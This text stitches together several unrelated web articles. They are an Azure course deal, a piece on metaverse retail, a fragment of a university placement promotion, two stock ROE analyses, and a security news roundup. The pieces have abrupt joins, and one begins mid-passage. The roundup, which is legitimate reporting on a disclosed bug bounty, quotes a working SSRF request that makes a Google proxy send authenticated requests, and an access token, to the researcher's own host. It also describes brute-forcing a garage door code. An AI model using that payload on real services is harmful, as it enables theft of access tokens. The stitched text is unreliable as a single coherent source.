There's a growing shift from physical infrastructure to cloud computing, which has boosted demand for cloud-certified professionals. So if you're looking for the next step in your IT career, chasing the cloud can provide job security and a handsome salary, with engineers averaging more than $120,000 annually(Opens in a new window).

As with any IT career, you need to earn your credentials, and The Complete Microsoft Azure Certification Prep Bundle can help. This 10-course bundle of training is presented by instructors specializing in cloud technologies; lessons provide comprehensive prep material from beginner to advanced-level certification exams, allowing you to enter the cloud field without prior experience.

That said, if you're new to cloud computing, AZ-900: Microsoft Azure Fundamentals exam Quick Prep may serve you well. It introduces courses such as Azure Cloud's different pricing and support options, making it an excellent primer if you hope to work in the industry in a non-technical role. From there, the bundle covers exams for the AZ-103, AZ-203, AZ-300, and AZ-301 certifications, which endorse skills in designing and implementing Azure infrastructure.

It also offers supplementary courses that don't necessarily focus on a certification exam, but cover valuable skills nonetheless. For example, Azure MasterClass: Analyze Data with Azure Stream Analytics illustrates how to create queries and data analysis pipelines, while Azure MasterClass: Manage Storage & Disks in the Cloud with Azure Storage covers concepts such as utilizing storage pools as an efficient and scalable disk management system.

PCMag readers can get more than 50 hours of training via the The Complete Microsoft Azure Certification Prep Bundle, on sale for $39—97% off the $1,839 MSRP.

Prices subject to change.

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The book and 2018 film Ready Player One depicted a world in the near future where people escape dreary real life by immersing themselves in a virtual reality world called The Oasis. Facebook’s latest announcement of its rebranding as Meta and its planned creation of the Metaverse suggests that the equivalent of The Oasis is coming, leaving us to wonder how all of this will turn out.

With the shopping season upon us, industry analyst Brittain Ladd, who serves on the advisory board for George Mason University’s Center for Retail Transformation has some ideas for how shopping in an immersive virtual reality will look.

Related: The Fundamentals of AR and VR – and how the Military Is Using Them

“I think websites are stone age,” Ladd said. “I am amazed today that we still have to go to a website to shop. In the VR world, you are entering a store. You are putting these products on a counter and checking out.”

This is important because such stores can be more engaging to shoppers than a flat 2-D web page. One of Brittain’s test subjects wanted to buy Italian food products, for example. “We wanted to deliver the customer the ability to stand in a store in Italy because they were looking for Italian food,” he explained. “When they looked out the window, they literally saw Italy.”

Related: See the 9 Different Ways NASA is Testing AR/VR on the Space Station

And why should retailers pay the expense of developing an immersive virtual store that whisks shoppers to far-away countries? Because when they do that, the shoppers become motivated to spend more money in those stores, Brittain reports. “They not only shop for Italian products, but they wanted to buy even more.”

Conversely, if VR stores in the metaverse offer only the same old products that consumers can buy locally, then shoppers will visit a couple times for the novelty and then return to their usual physical stores, according to Brittain. “They only would want to do if they are not seeing anything other than the products they already see,” he said.

Meta

Where better to find the best baklava than in Greece?

The Metaverse also provides a venue for seasonal holiday stores other than the vacant spots in the local mall. In this case, a Christmas store could not only offer seasonal products, but it could let visitors experience Santa’s workshop or meet St. Nick himself. “For Christmas, why not tell the story of Christmas and immerse people in the North Pole,” Brittain asked. “You could even let them meet Santa and Mrs. Claus. We have the ability to create lifelike people who are avatars.”

A potential obstacle to the adoption of VR and immersion is the clunkiness of wearing a VR headset. This is where engineering innovation is needed to lower the barrier to use by more people, Brittain said. “These headsets have to progress to the point that it is easier for the consumer to wear them or to not have to wear a headset. Multiple startups are working on new ways of providing a VR experience that doesn’t necessarily require a headset.”

One solution could be to use a combination of glasses and wireless earbuds, or potentially it could work using an iPad or Microsoft Surface while wearing 3D glasses. “One idea that is interesting is the concept of being able to use a TV. It would leverage television and wearing the glasses almost like the 3D glasses like people wore (in movie theaters) in the ‘50s.”

The industry would also need to ensure that prospective customers understand that while the images of the products on the virtual shelves are simulations, that the products they are buying are real physical objects that will be delivered to them. And those products will need to be delivered quickly if Metaverse stores want to compete with local stores. “The thing that will need to develop is the supply chain,” Brittain noted.

Meta

Biking against opponents is more motivational when they are rendered as avatars.

As we find our way to the eventual Oasis, there will be stumbles and missteps. Think of the variety of failed MP3 players before Apple created the iTunes ecosystem in support of the iPod and iPhone. And the siloed dial-up services like Prodigy, CompuServe, and America Online that were crushed by the emergence of the internet from its background as a network for defense agencies and universities.

This likely foreshadows metaverse developments that will be spearheaded by national security agencies seeking digital high ground in this new frontier, according to Brittain. “All intelligence agencies are actively exploring how to they become experts in the metaverse and virtual reality,” he said. “ARPA created the internet. If anything, I think the DOD is going to form many more partnerships with more startups early. The Pentagon knows they can’t wait.”

In that respect, Ready Player One may have been even more prescient than we realize, considering that The Oasis VR gaming platform became the site of the decisive battle at the end of the film.

Listen to what Hare Krishna has to say about the university:

Clearly, LPU possesses an incomparable placement record that emerges from the university’s consistency towards academic excellence, an unending flow of opportunities for students, and impeccable placement support to assist and guide students. This year, LPU has set one of the highest placement records as its student Arjun has been placed at a package of 63 lakhs straight from their campus placement drive. This is one of the highest-ever packages received by any engineering fresher countrywide.

Listen to what Arjun has to say about his university:

Also, not just a handful of students, but as many as 431 students of LPU’s fresh 2021,22 batches have been placed at packages worth 10 LPA and above. Not only this, marquee recruiters have recruited a large number of students at differential packages of up to 10 lakhs. Top companies that recruited one of the highest numbers of LPU freshers include Cognizant, which recruited 670+ LPU students; Capgemini, which recruited 310+ students; Wipro, which recruited 310+ students; MPhasis, which recruited 210+ students; and Accenture, which recruited 150+ students, among other industry giants. In latest years, more than 20,000 placements/internships have been offered to LPU students by top recruiters. Several of the Fortune 500 companies have extended more than 5000 offers.

Universal Display (NASDAQ:OLED) has had a great run on the share market with its stock up by a significant 18% over the last month. Since the market usually pay for a company’s long-term fundamentals, we decided to study the company’s key performance indicators to see if they could be influencing the market. In this article, we decided to focus on Universal Display's ROE.

Return on Equity or ROE is a test of how effectively a company is growing its value and managing investors’ money. Simply put, it is used to assess the profitability of a company in relation to its equity capital.

View our latest analysis for Universal Display

How To Calculate Return On Equity?

The formula for return on equity is:

Return on Equity = Net Profit (from continuing operations) ÷ Shareholders' Equity

So, based on the above formula, the ROE for Universal Display is:

16% = US$182m ÷ US$1.1b (Based on the trailing twelve months to March 2022).

The 'return' is the yearly profit. Another way to think of that is that for every $1 worth of equity, the company was able to earn $0.16 in profit.

What Has ROE Got To Do With Earnings Growth?

We have already established that ROE serves as an efficient profit-generating gauge for a company's future earnings. Depending on how much of these profits the company reinvests or "retains", and how effectively it does so, we are then able to assess a company’s earnings growth potential. Generally speaking, other things being equal, firms with a high return on equity and profit retention, have a higher growth rate than firms that don’t share these attributes.

Universal Display's Earnings Growth And 16% ROE

To start with, Universal Display's ROE looks acceptable. And on comparing with the industry, we found that the the average industry ROE is similar at 19%. Consequently, this likely laid the ground for the impressive net income growth of 20% seen over the past five years by Universal Display. However, there could also be other drivers behind this growth. For example, it is possible that the company's management has made some good strategic decisions, or that the company has a low payout ratio.

Story continues

Next, on comparing Universal Display's net income growth with the industry, we found that the company's reported growth is similar to the industry average growth rate of 24% in the same period.

Earnings growth is a huge factor in stock valuation. What investors need to determine next is if the expected earnings growth, or the lack of it, is already built into the share price. This then helps them determine if the stock is placed for a bright or bleak future. What is OLED worth today? The intrinsic value infographic in our free research report helps visualize whether OLED is currently mispriced by the market.

Is Universal Display Making Efficient Use Of Its Profits?

Universal Display's ' three-year median payout ratio is on the lower side at 19% implying that it is retaining a higher percentage (81%) of its profits. This suggests that the management is reinvesting most of the profits to grow the business as evidenced by the growth seen by the company.

Besides, Universal Display has been paying dividends over a period of five years. This shows that the company is committed to sharing profits with its shareholders. Our latest analyst data shows that the future payout ratio of the company over the next three years is expected to be approximately 20%. Therefore, the company's future ROE is also not expected to change by much with analysts predicting an ROE of 18%.

Conclusion

On the whole, we feel that Universal Display's performance has been quite good. Specifically, we like that the company is reinvesting a huge chunk of its profits at a high rate of return. This of course has caused the company to see substantial growth in its earnings. We also studied the latest analyst forecasts and found that the company's earnings growth is expected be similar to its current growth rate. Are these analysts expectations based on the broad expectations for the industry, or on the company's fundamentals? Click here to be taken to our analyst's forecasts page for the company.

Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team (at) simplywallst.com.

This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.

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It is hard to get excited after looking at Lakeland Industries' (NASDAQ:LAKE) latest performance, when its stock has declined 7.1% over the past three months. But if you pay close attention, you might find that its key financial indicators look quite decent, which could mean that the stock could potentially rise in the long-term given how markets usually reward more resilient long-term fundamentals. In this article, we decided to focus on Lakeland Industries' ROE.

Return on equity or ROE is an important factor to be considered by a shareholder because it tells them how effectively their capital is being reinvested. In simpler terms, it measures the profitability of a company in relation to shareholder's equity.

View our latest analysis for Lakeland Industries

How To Calculate Return On Equity?

ROE can be calculated by using the formula:

Return on Equity = Net Profit (from continuing operations) ÷ Shareholders' Equity

So, based on the above formula, the ROE for Lakeland Industries is:

6.0% = US$7.5m ÷ US$125m (Based on the trailing twelve months to April 2022).

The 'return' is the income the business earned over the last year. One way to conceptualize this is that for each $1 of shareholders' capital it has, the company made $0.06 in profit.

Why Is ROE Important For Earnings Growth?

So far, we've learned that ROE is a measure of a company's profitability. Based on how much of its profits the company chooses to reinvest or "retain", we are then able to evaluate a company's future ability to generate profits. Generally speaking, other things being equal, firms with a high return on equity and profit retention, have a higher growth rate than firms that don’t share these attributes.

A Side By Side comparison of Lakeland Industries' Earnings Growth And 6.0% ROE

On the face of it, Lakeland Industries' ROE is not much to talk about. Next, when compared to the average industry ROE of 22%, the company's ROE leaves us feeling even less enthusiastic. Despite this, surprisingly, Lakeland Industries saw an exceptional 46% net income growth over the past five years. Therefore, there could be other reasons behind this growth. For example, it is possible that the company's management has made some good strategic decisions, or that the company has a low payout ratio.

Story continues

Next, on comparing with the industry net income growth, we found that Lakeland Industries' growth is quite high when compared to the industry average growth of 6.8% in the same period, which is great to see.

The basis for attaching value to a company is, to a great extent, tied to its earnings growth. What investors need to determine next is if the expected earnings growth, or the lack of it, is already built into the share price. Doing so will help them establish if the stock's future looks promising or ominous. One good indicator of expected earnings growth is the P/E ratio which determines the price the market is willing to pay for a stock based on its earnings prospects. So, you may want to check if Lakeland Industries is trading on a high P/E or a low P/E, relative to its industry.

Is Lakeland Industries Using Its Retained Earnings Effectively?

Lakeland Industries doesn't pay any dividend currently which essentially means that it has been reinvesting all of its profits into the business. This definitely contributes to the high earnings growth number that we discussed above.

Summary

Overall, we feel that Lakeland Industries certainly does have some positive factors to consider. With a high rate of reinvestment, albeit at a low ROE, the company has managed to see a considerable growth in its earnings. Having said that, the company's earnings growth is expected to slow down, as forecasted in the current analyst estimates. Are these analysts expectations based on the broad expectations for the industry, or on the company's fundamentals? Click here to be taken to our analyst's forecasts page for the company.

Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team (at) simplywallst.com.

This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.

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If you had the misfortune of running a Microsoft Exchange server this past week, then you don’t need me to tell you about the Y2K22 problem. To catch rest of us up, when Exchange tried to download the first malware definitions update of 2022, the version number of the new definitions triggered a crash in the malware detection engine. The date is represented as the string 2201010001, where the first two digits represent the year. This string gets converted to a signed long integer, which maxes out at 2,147,483,647. The integer overflows, and the result is undefined behavior, crashing the engine. The server fails safe, not processing any messages without a working malware engine, which means that no e-mail gets through. Happy new year!

Android 911 Denial of Service

Dialing 911 for emergency services is pretty much the worst time for a software bug to manifest itself. Google just fixed such a bug in the January Android update. It’s one of those odd unintended app interactions — in this case Microsoft Teams triggering the Android bug. If the Teams app is installed, but no account logged in, Teams creates and registers a new PhoneAccount object on every launch. This sounds like it should be rare, but Teams on Android is also notorious for logging out the user spontaneously. When you dial 911, Android runs a routine to determine which PhoneAccount should be used to route the call, and solves ties by comparing hashes. That comparison is just a naive subtraction, meaning that there’s a 50% chance in getting a negative result. This was unanticipated, leading to the crash.

Garage Door Reverse Engineering

Reverse engineering a 30-year-old wireless authorization scheme may not be the most attention grabbing feat, but sometimes the journey is its own reward. [Maxwell Dulin] brings us the story, and this journey is certainly worth it. The fundamentals of this hack are definitely still viable, starting with looking at the hardware. The garage door is synced to the garage door opener by holding a pushbutton on the receiver while sending a code. Inside the opener, there are nine dip switches, each with three positions. What do they do? He pulled out his trusty SDR to grab the traffic and try to decode the signals. Inspectrum and GNU Radio were the heroes here, giving insight into this simple auth scheme. The conclusion on this real garage door? You can brute force an unknown code by sending every possible combo, and it only takes 104 minutes.

BugAlert

If you’re a sysadmin, you know that some problems call for immediate action. If you ran Java servers, the Log4J vulnerability was a fire test of your response protocol. The time between public disclosure and whenever you heard about it, may have been enough to trigger disaster. While there are multiple bug reporting services and frameworks, nothing quite fits this niche use case: notifying you as soon as possible that your hair may truly be on fire. That unfilled niche bugged [Matthew Sullivan], who has announced a new project, Bug Alert. It’s all open source, so you can host your own instance if you really want to. You can opt to get a tweet, text, or even phone call. This has the potential to be a useful tool, take a look!

I feel like I need to make Bug Alert trigger a certain Weird Al song…

The Zombie SSRF

[David Schütz] was searching for obscure Google APIs, and discovered jobs.googleapis.com, which you can demo yourself. That demo is interesting, because it’s not a fully fleshed-out service, but talks to the real back-end. The requests go through a proxy, cxl-services.appspot.com, which handles the authentication step for the demo page. If he could trigger a Server-Side Request Forgery (SSRF), he might be able to get at the authenticated requests, and maybe trick the proxy into sending traffic on his behalf. URL parsing is hard. The trick that worked? A backslash in the url. GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1

With an access token in hand, [David] started carefully exploring other Google APIs to see what this token gave him access to. He gives the warning we’ve covered before, be careful how far you push. He could have reported the bug right away, but wanted to confirm that he actually had a live access token. After confirming the token worked for read access, he turned in the finding, and netted a very nice $3133.70, as well as an extra $1000 for a good report and the careful look at lateral movement. That’s all there is to it, right? Nope. Just before the 90 day disclosure deadline passed, [David] discovered a fix bypass. Adding any text between the backslash and @ was enough to break it. Another $3133.70. Just for fun, he probed the old URLs, that shouldn’t be in service after the fix. Yep, he found yet another security token, and netted $3133.70. This Zombie SSRF still isn’t dead, as evidenced on Twitter:

I told you, its unfixable! @n1nj4sec already bypassed the fix. So cool! Will you be the 4th one to bypass it and get $3k? 😎 Parsing a URL is really hard. pic.twitter.com/5xmg5tbybw

— David Schütz (@xdavidhu) January 2, 2022

WordPress Update

If you haven’t set your WordPress instance to update automatically, it’s time to go check for the latest version. There are four potentially dangerous issues here, though the details are scarce at this point. First up is a Cross-Site Scripting vulnerability in post slugs, the part of the URL that matches the post name. The second issue mentioned is object injection in some multisite configurations. The last two vulnerabilities are SQL injections, definitely worthy of the “What Year is It?” meme.